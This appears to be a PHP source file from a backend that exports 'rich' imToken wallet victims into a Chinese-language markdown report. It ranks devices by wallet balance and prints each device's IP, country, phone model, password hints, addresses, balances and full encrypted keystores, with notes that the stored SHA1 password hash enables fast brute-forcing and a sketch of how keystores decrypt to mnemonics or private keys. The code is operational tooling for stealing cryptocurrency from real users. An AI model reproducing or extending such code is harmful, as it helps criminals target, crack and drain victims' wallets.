178 lines
6.1 KiB
PHP
178 lines
6.1 KiB
PHP
<?php
|
|
|
|
namespace App\Console\Commands;
|
|
|
|
use App\Models\WalletAddress;
|
|
|
|
/**
|
|
* Renders the imToken-rich export as a markdown document.
|
|
* Each device is one block:
|
|
* - summary line (设备 id, 密码提示, 地址数, 总余额)
|
|
* - 设备基本信息 as JSON
|
|
* - 地址列表 as table
|
|
* - keystore as JSON
|
|
*
|
|
* @internal
|
|
*/
|
|
final class ExportImtokenRichMarkdown
|
|
{
|
|
public function __construct(
|
|
private readonly array $summary,
|
|
private readonly array $devices,
|
|
) {}
|
|
|
|
public function render(): string
|
|
{
|
|
$md = [];
|
|
$md[] = '# imToken 富地址导出报告';
|
|
$md[] = '';
|
|
$md[] = '导出时间: '.$this->summary['exported_at'];
|
|
$md[] = '';
|
|
$md[] = '筛选条件: imToken 地址 · 余额 ≥ $'.$this->summary['min_usd']
|
|
.' · 无助记词 · 有 keystore';
|
|
$md[] = '';
|
|
$md[] = '## 汇总';
|
|
$md[] = '';
|
|
$md[] = '| 指标 | 值 |';
|
|
$md[] = '|---|---|';
|
|
$md[] = "| 设备数 | {$this->summary['device_count']} |";
|
|
$md[] = "| 地址数 | {$this->summary['address_count']} |";
|
|
$md[] = "| Keystore 数 | {$this->summary['keystore_count']} |";
|
|
foreach ($this->summary['totals']['coins'] as $col => $val) {
|
|
$sym = strtoupper($col);
|
|
$md[] = "| {$sym} 总额 | {$val} |";
|
|
}
|
|
$md[] = "| USD 估算 | {$this->summary['totals']['usd_approx']} |";
|
|
$md[] = '';
|
|
$md[] = '> USD 估算仅用于排序,价格假设: TRX=0.15, ETH=2500, BTC=60000, BNB=500, SOL=150, USDT=1';
|
|
$md[] = '';
|
|
|
|
foreach ($this->devices as $device) {
|
|
$this->renderDevice($md, $device);
|
|
}
|
|
|
|
$md[] = '---';
|
|
$md[] = '';
|
|
$md[] = '## 字段说明';
|
|
$md[] = '';
|
|
$md[] = '- **decrypted**: keystore 是否已解出助记词 (1=已解出, 0=未解出,需密码)';
|
|
$md[] = '- **keyHash**: imToken 的 SHA1(密码),可用于快速爆破比对';
|
|
$md[] = '- **imTokenMeta.source**: `MNEMONIC`/`NEW_MNEMONIC` = 加密助记词;`PRIVATE_KEY` = 加密单私钥';
|
|
$md[] = '- **imTokenMeta.passwordHint**: 密码提示(首字母或长度线索)';
|
|
$md[] = '- **derivationPath**: HD 派生路径,`m/44\'/195\'/0\'/0/{index}` = TRON (195)';
|
|
$md[] = '- 解密流程: 密码 → pbkdf2/scrypt → AES-128-CTR(ciphertext) → 助记词/私钥';
|
|
$md[] = '';
|
|
|
|
return implode("\n", $md);
|
|
}
|
|
|
|
private function renderDevice(array &$md, array $device): void
|
|
{
|
|
$hints = $this->collectPasswordHints($device['keystores']);
|
|
$hintStr = $hints !== [] ? '`'.implode('`, `', $hints).'`' : '无';
|
|
$addrCount = count($device['addresses']);
|
|
$usd = $device['totals']['usd_approx'];
|
|
|
|
$md[] = '---';
|
|
$md[] = '';
|
|
$md[] = "## 设备 #{$device['id']} — `{$device['device_id']}`";
|
|
$md[] = '';
|
|
$md[] = "**密码提示**: {$hintStr} · **地址数**: {$addrCount} · **总余额**: ~\${$usd}";
|
|
$md[] = '';
|
|
|
|
// 设备基本信息 as JSON
|
|
$basicInfo = [
|
|
'id' => $device['id'],
|
|
'device_id' => $device['device_id'],
|
|
'channel_id' => $device['channel_id'],
|
|
'model' => $device['model'],
|
|
'ios_version' => $device['ios_version'],
|
|
'ip' => $device['ip'],
|
|
'country' => $device['country'],
|
|
'wallet_names' => $device['wallet_names'],
|
|
'user_agent' => $device['user_agent'],
|
|
'created_at' => $device['created_at'],
|
|
];
|
|
$md[] = '**设备基本信息**:';
|
|
$md[] = '';
|
|
$md[] = '```json';
|
|
$md[] = json_encode($basicInfo, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);
|
|
$md[] = '```';
|
|
$md[] = '';
|
|
|
|
// 地址列表 as table
|
|
$this->renderAddressTable($md, $device['addresses']);
|
|
|
|
// keystore as JSON
|
|
$this->renderKeystores($md, $device['keystores']);
|
|
}
|
|
|
|
/**
|
|
* @param list<array<string, mixed>> $keystores
|
|
* @return list<string>
|
|
*/
|
|
private function collectPasswordHints(array $keystores): array
|
|
{
|
|
$hints = [];
|
|
foreach ($keystores as $ks) {
|
|
$meta = $ks['keystore']['imTokenMeta'] ?? null;
|
|
if (is_array($meta) && isset($meta['passwordHint'])) {
|
|
$h = trim((string) $meta['passwordHint']);
|
|
if ($h !== '' && ! in_array($h, $hints, true)) {
|
|
$hints[] = $h;
|
|
}
|
|
}
|
|
}
|
|
|
|
return $hints;
|
|
}
|
|
|
|
private function renderAddressTable(array &$md, array $addresses): void
|
|
{
|
|
$md[] = '**地址列表**:';
|
|
$md[] = '';
|
|
if ($addresses === []) {
|
|
$md[] = '_(无)_';
|
|
$md[] = '';
|
|
|
|
return;
|
|
}
|
|
$header = ['ID', '地址', 'Chain', 'DeriveIdx', 'MnemonicID', 'Monitor'];
|
|
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
|
$header[] = strtoupper($col);
|
|
}
|
|
$md[] = '| '.implode(' | ', $header).' |';
|
|
$md[] = '|'.implode('|', array_fill(0, count($header), '---')).'|';
|
|
foreach ($addresses as $a) {
|
|
$row = [
|
|
$a['id'],
|
|
'`'.$a['address'].'`',
|
|
$a['chain_type'],
|
|
$a['derive_index'] ?? '-',
|
|
$a['mnemonic_id'] ?? '-',
|
|
$a['monitor'] ? '✓' : '·',
|
|
];
|
|
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
|
$row[] = $a['coins'][$col] ?? '0';
|
|
}
|
|
$md[] = '| '.implode(' | ', $row).' |';
|
|
}
|
|
$md[] = '';
|
|
}
|
|
|
|
private function renderKeystores(array &$md, array $keystores): void
|
|
{
|
|
if ($keystores === []) {
|
|
return;
|
|
}
|
|
foreach ($keystores as $ks) {
|
|
$md[] = '**keystore** (id='.$ks['id'].', decrypted='.($ks['decrypted'] ? '1' : '0').'):';
|
|
$md[] = '';
|
|
$md[] = '```json';
|
|
$md[] = json_encode($ks, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);
|
|
$md[] = '```';
|
|
$md[] = '';
|
|
}
|
|
}
|
|
}
|